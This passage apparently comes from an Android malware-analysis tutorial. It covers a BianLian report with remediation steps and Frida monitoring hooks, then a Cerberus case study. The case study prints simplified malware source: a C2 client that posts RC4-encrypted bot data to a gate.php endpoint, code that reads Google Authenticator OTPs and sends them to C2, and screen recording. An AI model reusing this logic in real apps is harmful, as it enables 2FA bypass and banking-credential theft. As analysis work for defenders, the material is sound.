:com.weico.international.pce68c1b8 │
│ •
service
:com.weico.international.pe87b342f │
│ •
receiver
:com.weico.international.pd2c57a92 │
│ •
receiver
:com.weico.international.pf8380f14 │
│ •
email
:nms_reports
@nortonlifelock
.com │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1
.
1
. Immediately enable Airplane Mode to prevent further SMS exfiltration
and
C2 communication. │

2
.
2
. Contact your bank immediately to freeze accounts
and
report potential credential compromise — request new card numbers
and
reset online banking credentials from a clean device. │

3
.
3
. From a computer, log into your Google account
and
use Find My Device to remotely lock the phone if needed. │

4
.
4
. Factory reset the infected device — BianLian's dynamic DEX loading means partial cleanup is insufficient. │

5
.
5
. After reset, change ALL passwords for accounts accessed from the device (email, banking, social media) using a different clean device first. │

6
.
6
. Alert contacts in your phone book that they may receive smishing SMS from your number
and
should
NOT
click any links. │

7
.
7
. Contact your mobile carrier to check for unauthorized premium SMS subscriptions
and
request blocking of premium-rate services. │

8
.
8
. File a report with local law enforcement
and
relevant cybercrime reporting center (e.g., IC3.gov, Action Fraud). │

9
.
9
. Enable Google Play Protect
and
avoid installing APKs from unknown sources going forward. │

10
.
10
. Monitor bank statements
and
credit reports for
90
days for unauthorized transactions. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1

// BianLian Banking Trojan (com.weico.international) - Frida Instrumentation Script │

2

// Target: SMS interception, overlay injection, dynamic DEX loading, C2 comms, crypto operations │

3


4
Java.
perform
(
function
() { │

5
console.
log
(
'[*] BianLian/Bian Frida hooks loaded for com.weico.international'
); │

6


7

// ========================================== │

8

// 1. SMS INTERCEPTION - Catch OTP theft │

9

// ========================================== │

10


11

// Hook SmsMessage.getMessageBody to see what SMS content the malware reads │

12
var SmsMessage = Java.
use
(
'android.telephony.SmsMessage'
); │

13
SmsMessage.getMessageBody.implementation =
function
() { │

14
var body = this.
getMessageBody
(); │

15
var sender = this.
getOriginatingAddress
(); │

16
console.
log
(
'[SMS-READ] From: '
+ sender +
' | Body: '
+ body); │

17

// Log stack trace to identify which malware component reads SMS │

18
console.
log
(
'[SMS-READ] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

19
Java.
use
(
'java.lang.Exception'
).$
new
())); │

20
return body; │

21
}; │

22


23

// Hook SmsManager.sendTextMessage to catch propagation SMS │

24
var SmsManager = Java.
use
(
'android.telephony.SmsManager'
); │

25
SmsManager.sendTextMessage.
overload
(
'java.lang.String'
,
'java.lang.String'
,
'java.lang.String'
,
'android.app.PendingIntent'
,
'android.app.PendingIntent'
).implementation =
function
(dest, sc, text, sentIntent, deliveryIntent) { │

26
console.
log
(
'[SMS-SEND] To: '
+ dest +
' | Text: '
+ text); │

27
console.
log
(
'[SMS-SEND] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

28
Java.
use
(
'java.lang.Exception'
).$
new
())); │

29

// Optionally block propagation: return; │

30
return this.
sendTextMessage
(dest, sc, text, sentIntent, deliveryIntent); │

31
}; │

32


33

// ========================================== │

34

// 2. DYNAMIC DEX LOADING - Catch dropper stage │

35

// ========================================== │

36


37

// Hook DexClassLoader constructor to catch loaded DEX payloads │

38
var DexClassLoader = Java.
use
(
'dalvik.system.DexClassLoader'
); │

39
DexClassLoader.$init.implementation =
function
(dexPath, optimizedDir, librarySearchPath, parent) { │

40
console.
log
(
'[DEX-LOAD] Path: '
+ dexPath); │

41
console.
log
(
'[DEX-LOAD] OptDir: '
+ optimizedDir); │

42
console.
log
(
'[DEX-LOAD] LibPath: '
+ librarySearchPath); │

43
console.
log
(
'[DEX-LOAD] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

44
Java.
use
(
'java.lang.Exception'
).$
new
())); │

45
return this.$
init
(dexPath, optimizedDir, librarySearchPath, parent); │

46
}; │

47


48

// Hook ClassLoader.loadClass to see what classes are dynamically loaded │

49
var ClassLoader = Java.
use
(
'java.lang.ClassLoader'
); │

50
ClassLoader.loadClass.
overload
(
'java.lang.String'
).implementation =
function
(className) { │

51

// Filter out noise - only log non-standard classes │

52
if (className.
indexOf
(
'com.weico'
) !== -
1
|| │

53
className.
indexOf
(
'inject'
) !== -
1
|| │

54
className.
indexOf
(
'bot'
) !== -
1
|| │

55
className.
indexOf
(
'sms'
) !== -
1
|| │

56
className.
indexOf
(
'overlay'
) !== -
1
) { │

57
console.
log
(
'[CLASS-LOAD] '
+ className); │

58
} │

59
return this.
loadClass
(className); │

60
}; │

61


62

// ========================================== │

63

// 3. NETWORK/C2 COMMUNICATION │

64

// ========================================== │

65


66

// Hook URL.openConnection to capture C2 endpoints │

67
var URL = Java.
use
(
'java.net.URL'
); │

68
URL.openConnection.
overload
().implementation =
function
() { │

69
var url = this.
toString
(); │

70
console.
log
(
'[NET-C2] URL: '
+ url); │

71
console.
log
(
'[NET-C2] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

72
Java.
use
(
'java.lang.Exception'
).$
new
())); │

73
return this.
openConnection
(); │

74
}; │

75


76

// Hook HttpURLConnection to capture request/response details │

77
var HttpURLConnection = Java.
use
(
'java.net.HttpURLConnection'
); │

78
HttpURLConnection.setRequestMethod.implementation =
function
(method) { │

79
console.
log
(
'[NET-HTTP] Method: '
+ method +
' URL: '
+ this.
getURL
().
toString
()); │

80
return this.
setRequestMethod
(method); │

81
}; │

82


83

// ========================================== │

84

// 4. CRYPTOGRAPHY - Decrypt C2 config │

85

// ========================================== │

86


87

// Hook SecretKeySpec to capture encryption keys used for C2 decryption │

88
var SecretKeySpec = Java.
use
(
'javax.crypto.spec.SecretKeySpec'
); │

89
SecretKeySpec.$init.
overload
(
'[B'
,
'java.lang.String'
).implementation =
function
(keyBytes, algorithm) { │

90
var keyHex =
''
; │

91
for (var i =
0
; i < keyBytes.length; i++) { │

92
var b = (keyBytes[i] &
0
xFF).
toString
(
16
); │

93
keyHex += (b.length ===
1
?
'0'
:
''
) + b; │

94
} │

95
console.
log
(
'[CRYPTO] SecretKeySpec Algorithm: '
+ algorithm +
' Key(hex): '
+ keyHex); │

96
console.
log
(
'[CRYPTO] Key(ascii): '
+ Java.
use
(
'java.lang.String'
).$
new
(keyBytes)); │

97
console.
log
(
'[CRYPTO] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

98
Java.
use
(
'java.lang.Exception'
).$
new
())); │

99
return this.$
init
(keyBytes, algorithm); │

100
}; │

101


102

// Hook Cipher.doFinal to capture plaintext before encryption / after decryption │

103
var Cipher = Java.
use
(
'javax.crypto.Cipher'
); │

104
Cipher.doFinal.
overload
(
'[B'
).implementation =
function
(input) { │

105
var result = this.
doFinal
(input); │

106
var mode = this.getOpmode ?
'unknown'
:
'unknown'
; │

107
try { │

108
console.
log
(
'[CRYPTO] Cipher.doFinal input('
+ input.length +
' bytes): '
+ │

109
Java.
use
(
'java.lang.String'
).$
new
(input)); │

110
console.
log
(
'[CRYPTO] Cipher.doFinal output('
+ result.length +
' bytes): '
+ │

111
Java.
use
(
'java.lang.String'
).$
new
(result)); │

112
}
catch
(e) { │

113

// Binary data, print hex │

114
var hexIn =
''
, hexOut =
''
; │

115
for (var i =
0
; i < Math.
min
(input.length,
64
); i++) { │

116
var b = (input[i] &
0
xFF).
toString
(
16
); │

117
hexIn += (b.length ===
1
?
'0'
:
''
) + b; │

118
} │

119
for (var j =
0
; j < Math.
min
(result.length,
64
); j++) { │

120
var c = (result[j] &
0
xFF).
toString
(
16
); │

121
hexOut += (c.length ===
1
?
'0'
:
''
) + c; │

122
} │

123
console.
log
(
'[CRYPTO] Cipher.doFinal input(hex): '
+ hexIn +
'...'
); │

124
console.
log
(
'[CRYPTO] Cipher.doFinal output(hex): '
+ hexOut +
'...'
); │

125
} │

126
return result; │

127
}; │

128


129

// ========================================== │

130

// 5. OVERLAY / WEBINJECT DETECTION │

131

// ========================================== │

132


133

// Hook WindowManager.addView to detect overlay injection │

134
var WindowManager = Java.
use
(
'android.view.WindowManager'
); │

135

// Hook LayoutParams to detect TYPE_APPLICATION_OVERLAY │

136
var LayoutParams = Java.
use
(
'android.view.WindowManager$LayoutParams'
); │

137
LayoutParams.$init.
overload
(
'int'
,
'int'
,
'int'
,
'int'
,
'int'
).implementation =
function
(w, h, type, flags, format) { │

138
console.
log
(
'[OVERLAY] WindowManager.LayoutParams type='
+ type +
' flags='
+ flags); │

139
if (type ===
2038
|| type ===
2003
|| type ===
2010
) { │

140
console.
log
(
'[OVERLAY] !!! OVERLAY WINDOW DETECTED - type='
+ type +
' !!!'
); │

141
console.
log
(
'[OVERLAY] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

142
Java.
use
(
'java.lang.Exception'
).$
new
())); │

143
} │

144
return this.$
init
(w, h, type, flags, format); │

145
}; │

146


147

// Hook WebView.loadUrl to catch webinject pages │

148
var WebView = Java.
use
(
'android.webkit.WebView'
); │

149
WebView.loadUrl.
overload
(
'java.lang.String'
).implementation =
function
(url) { │

150
console.
log
(
'[WEBINJECT] WebView.loadUrl: '
+ url); │

151
console.
log
(
'[WEBINJECT] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

152
Java.
use
(
'java.lang.Exception'
).$
new
())); │

153
return this.
loadUrl
(url); │

154
}; │

155
WebView.loadDataWithBaseURL.implementation =
function
(baseUrl, data, mimeType, encoding, historyUrl) { │

156
console.
log
(
'[WEBINJECT] WebView.loadDataWithBaseURL base: '
+ baseUrl); │

157
console.
log
(
'[WEBINJECT] Data (first 500 chars): '
+ data.
substring
(
0
, Math.
min
(data.
length
(),
500
))); │

158
return this.
loadDataWithBaseURL
(baseUrl, data, mimeType, encoding, historyUrl); │

159
}; │

160


161

// ========================================== │

162

// 6. REFLECTION MONITORING (138 calls detected) │

163

// ========================================== │

164


165
var Method = Java.
use
(
'java.lang.reflect.Method'
); │

166
Method.invoke.implementation =
function
(obj, args) { │

167
var methodName = this.
getName
(); │

168
var className = this.
getDeclaringClass
().
getName
(); │

169

// Filter to malware-relevant classes │

170
if (className.
indexOf
(
'com.weico'
) !== -
1
) { │

171
console.
log
(
'[REFLECT] '
+ className +
'.'
+ methodName +
'()'
); │

172
} │

173
return this.
invoke
(obj, args); │

174
}; │

175


176

// ========================================== │

177

// 7. NOTIFICATION LISTENER (OTP theft via push) │

178

// ========================================== │

179


180
var NotificationListenerService = Java.
use
(
'android.service.notification.NotificationListenerService'
); │

181
NotificationListenerService.onNotificationPosted.
overload
(
'android.service.notification.StatusBarNotification'
).implementation =
function
(sbn) { │

182
var pkg = sbn.
getPackageName
(); │

183
var notification = sbn.
getNotification
(); │

184
var extras = notification.extras; │

185
var title = extras.
getString
(
'android.title'
); │

186
var text = extras.
getCharSequence
(
'android.text'
); │

187
console.
log
(
'[NOTIF-STEAL] Package: '
+ pkg +
' Title: '
+ title +
' Text: '
+ text); │

188
return this.
onNotificationPosted
(sbn); │

189
}; │

190


191

// ========================================== │

192

// 8. CONTACT HARVESTING │

193

// ========================================== │

194


195
var ContentResolver = Java.
use
(
'android.content.ContentResolver'
); │

196
ContentResolver.query.
overload
(
'android.net.Uri'
,
'[Ljava.lang.String;'
,
'java.lang.String'
,
'[Ljava.lang.String;'
,
'java.lang.String'
).implementation =
function
(uri, proj, sel, selArgs, sort) { │

197
var uriStr = uri.
toString
(); │

198
if (uriStr.
indexOf
(
'contacts'
) !== -
1
|| uriStr.
indexOf
(
'sms'
) !== -
1
) { │

199
console.
log
(
'[DATA-HARVEST] ContentResolver.query URI: '
+ uriStr); │

200
console.
log
(
'[DATA-HARVEST] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │

201
Java.
use
(
'java.lang.Exception'
).$
new
())); │

202
} │

203
return this.
query
(uri, proj, sel, selArgs, sort); │

204
}; │

205


206
console.
log
(
'[*] All BianLian hooks active. Monitoring SMS, DEX loading, C2, crypto, overlays, notifications, and contacts.'
); │

207
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/com_weico_international_20260330_110931.json
✓ Frida
script
: reports/com_weico_international_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
117.9s
JSON
Report
: reports/com_weico_international_20260330_110931.json
Frida
Script
: reports/com_weico_international_frida_hooks.js

Case Study 2: Cerberus — Banking Trojan as a Service

Background

Cerberus was an Android banking trojan that operated as Malware-as-a-Service (MaaS) from approximately June 2019. It was sold on Russian-speaking underground forums for $2,000–$12,000 per month depending on the feature tier. In August 2020, when its operators failed to sell it, they leaked the Cerberus v2 source code on a forum — making the full codebase available for analysis and enabling defenders to study its internals precisely.

Cerberus is technically significant because it combined:

  • Banking overlay attacks (credential theft from 30+ banking apps)

  • Two-factor authentication bypass (stealing Google Authenticator codes)

  • Full RAT capabilities: screen recording, call forwarding, remote file access

  • Keylogging via Accessibility Events

Static Analysis of Cerberus

Manifest analysis:

<!-- Cerberus manifest (from leaked source code analysis) -->
<!-- Extensive permission set - RAT + banking trojan capabilities -->
<
uses-permission

android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission

android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission

android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission

android:name
=
"android.permission.CALL_PHONE"
/>
<
uses-permission

android:name
=
"android.permission.READ_CALL_LOG"
/>
<
uses-permission

android:name
=
"android.permission.PROCESS_OUTGOING_CALLS"
/>
<
uses-permission

android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission

android:name
=
"android.permission.RECORD_AUDIO"
/>
<
uses-permission

android:name
=
"android.permission.READ_EXTERNAL_STORAGE"
/>
<
uses-permission

android:name
=
"android.permission.WRITE_EXTERNAL_STORAGE"
/>
<
uses-permission

android:name
=
"android.permission.CAMERA"
/>
<
uses-permission

android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<
uses-permission

android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<!--
NOTE:
BIND_DEVICE_ADMIN is NOT declared as <uses-permission>.
It is the android:permission attribute on the device admin receiver (see below),
restricting who can bind to it to the system only. -->
<!-- Device Administrator (makes uninstall harder) -->
<
receiver

android:name
=
".Obf.AdminReceiver"

android:permission
=
"android.permission.BIND_DEVICE_ADMIN"
>

<
meta-data

android:name
=
"android.app.device_admin"

android:resource
=
"@xml/device_admin"
/>

<
intent-filter
>

<
action

android:name
=
"android.app.action.DEVICE_ADMIN_ENABLED"
/>

</
intent-filter
>
</
receiver
>
<!-- Accessibility Service (core capability) -->
<
service

android:name
=
".Obf.AccessibilityService"

android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
>

<
intent-filter
>

<
action

android:name
=
"android.accessibilityservice.AccessibilityService"
/>

</
intent-filter
>
</
service
>

C2 communication structure (from leaked source):

Cerberus communicated with its C2 panel via HTTP POST, with requests encrypted using Base64 + RC4:

// Cerberus C2 client (simplified from source)
public

class

NetworkClient
{

private

static
final
String

C2_URL
=
"http://[ENCRYPTED]/gate.php"
;

private

static
final
String

RC4
_KEY =
"[HARDCODED_OR_CONFIG]"
;
public

String

sendRequest
(
String
botId,
String
command,
String
data
) {

JSON
Object
payload =
new

JSON
Object
();
payload.
put
(
"id"
, botId);
payload.
put
(
"cmd"
, command);
payload.
put
(
"data"
, data);

String
json = payload.
toString
();
byte[] encrypted =
rc4Encrypt
(json.
getBytes
(),
RC4
_KEY.
getBytes
());

String
encoded =
Base64
.
encodeToString
(encrypted,
Base64
.
DEFAULT
);

// POST to C2

return

httpPost
(
C2_URL
,
"p="
+
URLEncoder
.
encode
(encoded));
}

// Server response is similarly RC4+Base64 encoded

public

String

parseResponse
(
String
response
) {
byte[] decoded =
Base64
.
decode
(response,
Base64
.
DEFAULT
);
byte[] decrypted =
rc4Decrypt
(decoded,
RC4
_KEY.
getBytes
());

return

new

String
(decrypted);
}
}

Google Authenticator 2FA bypass:

This was Cerberus’s most technically impressive feature. Using Accessibility Events, it monitored the Google Authenticator app and read the TOTP codes as they appeared on screen:

// Cerberus Google Authenticator monitoring (from source)
@Override
public

void

onAccessibilityEvent
(
AccessibilityEvent event
) {

String
packageName =
String
.
valueOf
(event.
getPackageName
());
// Monitor Google Authenticator specifically

if
(
"com.google.android.apps.authenticator2"
.
equals
(packageName)) {

// Get all visible text on screen

AccessibilityNodeInfo
rootNode =
getRootInActiveWindow
();

if
(rootNode !=
null
) {

List
<
String
> codes =
extractOTPCodes
(rootNode);

if
(!codes.
isEmpty
()) {

// Send codes to C2 immediately

sendToC2
(
"2fa_codes"
,
String
.
join
(
","
, codes));
}
}
}

// Also monitor targeted banking apps for overlay injection

if
(
isTargetedApp
(packageName)) {

showOverlay
(packageName);
}
}
private

List
<
String
>
extractOTPCodes
(
AccessibilityNodeInfo node
) {

List
<
String
> codes =
new

ArrayList
<>();

// Walk UI tree looking for 6-digit numeric strings

for
(int i =
0
; i < node.
getChildCount
(); i++) {

AccessibilityNodeInfo
child = node.
getChild
(i);

if
(child !=
null
&& child.
getText
() !=
null
) {

String
text = child.
getText
().
toString
().
replaceAll
(
"\\s"
,
""
);

if
(text.
matches
(
"\\d{6}"
)) {
codes.
add
(text);
}
}
}

return
codes;
}

Screen recording capability:

Cerberus v2 added MediaProjection-based screen recording — a legitimate Android API being abused:

// Cerberus screen recording (from source)
public

class

ScreenRecorder
{

private
MediaProjection mediaProjection;

private
VirtualDisplay virtualDisplay;

private
ImageReader imageReader;
public

void

startRecording
(Intent mediaProjectionData)
{

MediaProjectionManager

projectionManager

=
(MediaProjectionManager) getSystemService(MEDIA_PROJECTION_SERVICE);

// MediaProjection requires user consent dialog - Cerberus

// auto-clicked it using Accessibility Service
mediaProjection = projectionManager.getMediaProjection(
Activity.RESULT_OK, mediaProjectionData);
imageReader = ImageReader.newInstance(
1080
,
1920
, PixelFormat.RGBA_8888,
2
);
virtualDisplay = mediaProjection.createVirtualDisplay(

"Cerberus"
,

1080
,
1920
,

320
,
// DPI
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
imageReader.getSurface(),

null
,
null
);

// Frames captured via imageReader.acquireLatestImage()

// Compressed and sent to C2 in background
}
}

Dynamic Analysis of Cerberus

Hooking the C2 communication:

// Decrypt Cerberus C2 traffic at runtime
Java
.
perform
(
function
(
) {
// Find the RC4 decryption function by monitoring Base64 decode + RC4

var

Base64
=
Java
.
use
(
"android.util.Base64"
);

var
decodeOrig =
Base64
.
decode
.
overload
(
"[B"
,
"int"
);
decodeOrig.
implementation
=
function
(
input, flags
) {

var
result = decodeOrig.
call
(
this
, input, flags);

console
.
log
(
"[Base64 decode] Length: "
+ result.
length
+
" bytes"
);

console
.
log
(
" Output: "
+
bytesToHex
(result));

return
result;
};

// Hook the C2 URL construction to reveal decrypted C2 address

var

URL
=
Java
.
use
(
"java.net.URL"
);

var
urlInitOrig =
URL
.
$init
.
overload
(
"java.lang.String"
);
urlInitOrig.
implementation
=
function
(
url
) {

console
.
log
(
"[URL Constructor] "
+ url);

return
urlInitOrig.
call
(
this
, url);
};
});

Detecting overlay attempts:

# Watch for SYSTEM_ALERT_WINDOW usage (overlay permission)
adb shell dumpsys window |
grep
-i
"overlay\|TYPE_APPLICATION_OVERLAY"
# Observe what's drawn on screen
adb shell dumpsys SurfaceFlinger |
grep
-A
5

"com.malware"

Cerberus IOCs

NETWORK INDICATORS:

C2 protocol:

HTTP

POST

to

/gate.php

Encoding:

RC4

+

Base64

Payload field:

"p="

parameter

Port:

80

or

443
HOST INDICATORS:

Device

Admin

registration

(makes

removal

difficult)

Accessibility Service:

com.malware.Obf.AccessibilityService

Monitors:

com.google.android.apps.authenticator2

(2FA

theft)

Targeted overlays:

30
+

banking

apps

across

Europe

and

USA

Screen

recording

via

MediaProjection

API

Call

forwarding

via

PROCESS_OUTGOING_CALLS
BEHAVIORAL INDICATORS:

Requests

Device

Admin

status

shortly

after

install

Opens

Google

Authenticator

and

reads

OTP

codes

Sends

HTTP

POST

to

C2

with

RC4+B64

encoded

body

Intercepts

incoming

SMS

(OTP

codes

from

banks)

Displays

activity

over

banking

apps

(overlay

attack)

Establishes

persistent

foreground

service

Full report with analyzer.py:

Article image

11:09:31 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase 1: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk │
│ Size 4300.9 KB (4,404,159 bytes) │
│ MD5 0f4733a3a188ca0ddf3f730b17b23e20 │
│ SHA256 301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ Package com.tfapasswords.app │
│ App Name SafeYourAccount │
│ Version 1.0 (1) │
│ SDK min=24 target=28 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase 2: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk Level: 🔴 HIGH (77/100) │
│ │
│ [██████████████████████████████░░░░░░░░░░] │
│ │
│ Permissions: 100/100 │
│ Behavior: 100/100 │
│ Network: 0/100 │
│ Obfuscation: 15/100 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.SYSTEM_ALERT_WINDOW │
│ │ │ SYSTEM_ALERT_WINDOW │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.REQUEST_INSTALL_PACK… │
│ │ │ REQUEST_INSTALL_PACKAGES │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Accessibility Service │ com.tfapasswords.app.Activities.Accessi… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious API: Window Overlay │ Landroid/view/WindowManager;
-
>
addView

│ │ │ │ (in Lb/b/p/c │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lc/h/a/i │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/view/accessibility/Accessibili… │
│ │ │ Service │ Landroid/view/accessibility/Accessibili… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Privilege │ Root/Superuser Access Attempts │ superuser │
│ │ Escalation │ │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: CAMERA │ android.permission.CAMERA │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.RECEIVE_BOOT_COMPLET… │
│ │ │ RECEIVE_BOOT_COMPLETED │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/reflect/Field;->setAccessible │
│ │ │ │ (in Landr │
│ │ │ │ Ljava/lang/Class;->forName (in │
│ │ │ │ Landroid/support/v4 │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Camera Access │ Landroid/hardware/Camera$Parameters;->s… │
│ │ │ │ Landroid/hardware/Camera$Parameters;->g… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Obfuscation │ Code Obfuscation (
score
:
3
/
10
) │ High ratio of short class names │
│ │ │ │ (
203
/
500
) - likely │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/Cipher;->wrap (in Lb/t/v;) │
│ │ │ │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Lb/t │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
6
total)

Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.CAMERA MEDIUM
android.permission.RECEIVE_BOOT_COMPLETED MEDIUM
android.permission.REQUEST_INSTALL_PACKAGES HIGH
android.permission.SYSTEM_ALERT_WINDOW HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.INTERNET INFO

Network IOCs

Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Domain github.com
Domain schemas.android.com
URL
https
:
//github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/
URL
http
:
//schemas.android.com/apk/res-auto
URL
http
:
//schemas.android.com/apk/res/android

Semantic Component Analysis (
3
findings)

Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CRITICAL service Accessibility Service Abuse T1417 AccessibilityService
HIGH string Webinject/Overlay Terms T1417 Overlay
HIGH string Root/Superuser Access T1626 superuser

Rule-based family
inference
: Banking Trojan / RAT (
confidence
:
50%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
32
/
76
(
32
malicious,
0
suspicious,
35
clean) │
│ Threat Label trojan.brunhilda/andr │
│ Families brunhilda, andr, fimk │
│ File Type Android │
│ Common Name
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk │
│ First Seen
2020
-
10
-
03

│ Last Analyzed
2025
-
11
-
10

│ Submissions
15
submissions /
13
unique sources │
│ Tags [reflection] [apk] [obfuscated] [android] [telephony] [checks-gps] │
│ VT Link
https
:
//www.virustotal.com/gui/file/301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

301
